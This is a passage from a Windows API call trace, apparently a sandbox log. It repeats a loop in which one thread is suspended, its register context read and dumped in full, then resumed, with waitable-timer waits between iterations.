LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.037] ResumeThread (hThread=0x170) returned 0x1 [0178.037] CloseHandle (hObject=0x170) returned 1 [0178.037] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.037] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.037] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.037] SuspendThread (hThread=0x170) returned 0x0 [0178.037] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.039] ResumeThread (hThread=0x170) returned 0x1 [0178.039] CloseHandle (hObject=0x170) returned 1 [0178.039] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.039] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.040] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.040] SuspendThread (hThread=0x170) returned 0x0 [0178.040] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.041] ResumeThread (hThread=0x170) returned 0x1 [0178.041] CloseHandle (hObject=0x170) returned 1 [0178.041] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.041] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.041] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.041] SuspendThread (hThread=0x170) returned 0x0 [0178.041] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.042] ResumeThread (hThread=0x170) returned 0x1 [0178.042] CloseHandle (hObject=0x170) returned 1 [0178.043] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.043] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.043] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.043] SuspendThread (hThread=0x170) returned 0x0 [0178.043] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.045] ResumeThread (hThread=0x170) returned 0x1 [0178.045] CloseHandle (hObject=0x170) returned 1 [0178.045] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.045] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.045] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.045] SuspendThread (hThread=0x170) returned 0x0 [0178.045] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, 